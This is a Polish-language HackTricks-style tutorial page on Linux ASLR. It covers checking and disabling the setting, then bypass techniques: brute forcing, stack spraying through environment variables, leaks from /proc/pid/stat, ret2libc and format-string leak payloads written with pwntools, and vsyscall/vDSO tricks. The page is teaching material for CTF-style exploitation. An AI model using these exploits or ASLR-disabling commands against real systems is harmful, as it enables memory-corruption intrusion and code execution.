284 lines
13 KiB
Markdown

# ASLR
{{#include ../../../banners/hacktricks-training.md}}
## Podstawowe informacje
**Randomizacja układu przestrzeni adresowej (ASLR)** to technika zabezpieczeń stosowana w systemach operacyjnych do **randomizacji adresów pamięci** używanych przez procesy systemowe i aplikacyjne. Dzięki temu znacznie trudniej jest atakującemu przewidzieć lokalizację konkretnych procesów i danych, takich jak stos, sterta i biblioteki, co łagodzi niektóre rodzaje exploitów, szczególnie przepełnienia bufora.
### **Sprawdzanie statusu ASLR**
Aby **sprawdzić** status ASLR w systemie Linux, możesz odczytać wartość z pliku **`/proc/sys/kernel/randomize_va_space`**. Wartość przechowywana w tym pliku określa rodzaj stosowanej randomizacji ASLR:
- **0**: Brak randomizacji. Wszystko jest statyczne.
- **1**: Konserwatywna randomizacja. Wspólne biblioteki, stos, mmap(), strona VDSO są randomizowane.
- **2**: Pełna randomizacja. Oprócz elementów randomizowanych przez konserwatywną randomizację, pamięć zarządzana przez `brk()` jest randomizowana.
Możesz sprawdzić status ASLR za pomocą następującego polecenia:
```bash
cat /proc/sys/kernel/randomize_va_space
```
### **Wyłączanie ASLR**
Aby **wyłączyć** ASLR, ustaw wartość `/proc/sys/kernel/randomize_va_space` na **0**. Wyłączanie ASLR zazwyczaj nie jest zalecane poza scenariuszami testowymi lub debugowania. Oto jak możesz to wyłączyć:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Możesz również wyłączyć ASLR dla wykonania za pomocą:
```bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
```
### **Włączanie ASLR**
Aby **włączyć** ASLR, możesz zapisać wartość **2** w pliku `/proc/sys/kernel/randomize_va_space`. Zazwyczaj wymaga to uprawnień roota. Włączenie pełnej randomizacji można zrealizować za pomocą następującego polecenia:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **Utrzymywanie zmian po ponownym uruchomieniu**
Zmiany wprowadzone za pomocą poleceń `echo` są tymczasowe i zostaną zresetowane po ponownym uruchomieniu. Aby zmiana była trwała, musisz edytować plik `/etc/sysctl.conf` i dodać lub zmodyfikować następującą linię:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```
Po edytowaniu `/etc/sysctl.conf`, zastosuj zmiany za pomocą:
```bash
sudo sysctl -p
```
To zapewni, że ustawienia ASLR pozostaną zachowane po ponownych uruchomieniach.
## **Obejścia**
### 32-bitowe brute-forcing
PaX dzieli przestrzeń adresową procesu na **3 grupy**:
- **Kod i dane** (zainicjowane i niezainicjowane): `.text`, `.data` i `.bss` —> **16 bitów** entropii w zmiennej `delta_exec`. Ta zmienna jest losowo inicjowana z każdym procesem i dodawana do początkowych adresów.
- **Pamięć** przydzielona przez `mmap()` i **biblioteki współdzielone** —> **16 bitów**, nazwane `delta_mmap`.
- **Stos** —> **24 bity**, określane jako `delta_stack`. Jednak efektywnie wykorzystuje **11 bitów** (od 10. do 20. bajtu włącznie), wyrównane do **16 bajtów** —> To skutkuje **524,288 możliwymi rzeczywistymi adresami stosu**.
Poprzednie dane dotyczą systemów 32-bitowych, a zmniejszona końcowa entropia umożliwia obejście ASLR poprzez wielokrotne próby wykonania, aż exploit zakończy się sukcesem.
#### Pomysły na brute-force:
- Jeśli masz wystarczająco duży overflow, aby pomieścić **duży NOP sled przed shellcode**, możesz po prostu brute-forcować adresy na stosie, aż przepływ **przeskoczy nad jakąś częścią NOP sled**.
- Inną opcją w przypadku, gdy overflow nie jest tak duży, a exploit może być uruchomiony lokalnie, jest możliwość **dodania NOP sled i shellcode w zmiennej środowiskowej**.
- Jeśli exploit jest lokalny, możesz spróbować brute-forcować adres bazowy libc (przydatne dla systemów 32-bitowych):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
- Jeśli atakujesz zdalny serwer, możesz spróbować **brute-forcować adres funkcji `usleep` z `libc`**, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie **serwer zajmuje dodatkowe 10s na odpowiedź**, znalazłeś adres tej funkcji.
> [!TIP]
> W systemach 64-bitowych entropia jest znacznie wyższa i to nie powinno być możliwe.
### Bruteforcing stosu 64-bitowego
Możliwe jest zajęcie dużej części stosu zmiennymi środowiskowymi, a następnie próba wykorzystania binarnego setki/tysiące razy lokalnie, aby go wykorzystać.\
Poniższy kod pokazuje, jak można **po prostu wybrać adres na stosie** i co **kilkaset wykonania** ten adres będzie zawierał **instrukcję NOP**:
```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
```
```python
import subprocess
import traceback
# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
```
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### Lokalne informacje (`/proc/[pid]/stat`)
Plik **`/proc/[pid]/stat`** procesu jest zawsze czytelny dla wszystkich i **zawiera interesujące** informacje, takie jak:
- **startcode** & **endcode**: Adresy powyżej i poniżej z **TEXT** binarnego
- **startstack**: Adres początku **stosu**
- **start_data** & **end_data**: Adresy powyżej i poniżej, gdzie znajduje się **BSS**
- **kstkesp** & **kstkeip**: Aktualne adresy **ESP** i **EIP**
- **arg_start** & **arg_end**: Adresy powyżej i poniżej, gdzie są **argumenty cli**.
- **env_start** & **env_end**: Adresy powyżej i poniżej, gdzie są **zmienne środowiskowe**.
Dlatego, jeśli atakujący znajduje się na tym samym komputerze co binarny program, który jest wykorzystywany, a ten program nie oczekuje przepełnienia z surowych argumentów, lecz z innego **wejścia, które można skonstruować po przeczytaniu tego pliku**. Możliwe jest, aby atakujący **uzyskał kilka adresów z tego pliku i skonstruował odchylenia na ich podstawie dla exploita**.
> [!TIP]
> Aby uzyskać więcej informacji na temat tego pliku, sprawdź [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) szukając `/proc/pid/stat`
### Posiadanie wycieku
- **Wyzwanie polega na uzyskaniu wycieku**
Jeśli otrzymasz wyciek (łatwe wyzwania CTF), możesz obliczyć odchylenia na jego podstawie (zakładając na przykład, że znasz dokładną wersję libc, która jest używana w systemie, który exploitujesz). Ten przykład exploita jest wyciągnięty z [**przykładu stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (sprawdź tę stronę po więcej szczegółów):
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
```
- **ret2plt**
Wykorzystując przepełnienie bufora, możliwe byłoby wykorzystanie **ret2plt** do wyeksportowania adresu funkcji z libc. Sprawdź:
{{#ref}}
ret2plt.md
{{#endref}}
- **Format Strings Arbitrary Read**
Podobnie jak w ret2plt, jeśli masz dowolne odczyty przez lukę w formatach ciągów, możliwe jest wyeksportowanie adresu **funkcji libc** z GOT. Następujący [**przykład pochodzi stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
Możesz znaleźć więcej informacji na temat Format Strings arbitrary read w:
{{#ref}}
../../format-strings/
{{#endref}}
### Ret2ret & Ret2pop
Spróbuj obejść ASLR, wykorzystując adresy w stosie:
{{#ref}}
ret2ret.md
{{#endref}}
### vsyscall
Mechanizm **`vsyscall`** służy do zwiększenia wydajności, umożliwiając wykonywanie niektórych wywołań systemowych w przestrzeni użytkownika, chociaż zasadniczo są one częścią jądra. Krytyczną zaletą **vsyscalls** są ich **stałe adresy**, które nie podlegają **ASLR** (Randomizacja Układu Przestrzeni Adresowej). Ta stała natura oznacza, że atakujący nie potrzebują luki w informacji, aby określić ich adresy i wykorzystać je w exploicie.\
Jednak nie znajdziesz tutaj super interesujących gadżetów (chociaż na przykład możliwe jest uzyskanie odpowiednika `ret;`)
(Następny przykład i kod są [**z tego opisu**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
Na przykład, atakujący może użyć adresu `0xffffffffff600800` w exploicie. Próba bezpośredniego skoku do instrukcji `ret` może prowadzić do niestabilności lub awarii po wykonaniu kilku gadżetów, skok do początku `syscall` dostarczonego przez sekcję **vsyscall** może okazać się skuteczny. Starannie umieszczając gadżet **ROP**, który prowadzi wykonanie do tego adresu **vsyscall**, atakujący może osiągnąć wykonanie kodu bez potrzeby omijania **ASLR** w tej części exploitu.
```
ef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤ x/8g 0xffffffffff600000
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
```
### vDSO
Zauważ, jak może być możliwe **obejście ASLR wykorzystując vdso**, jeśli jądro jest skompilowane z CONFIG_COMPAT_VDSO, ponieważ adres vdso nie będzie zrandomizowany. Aby uzyskać więcej informacji, sprawdź:
{{#ref}}
../../rop-return-oriented-programing/ret2vdso.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}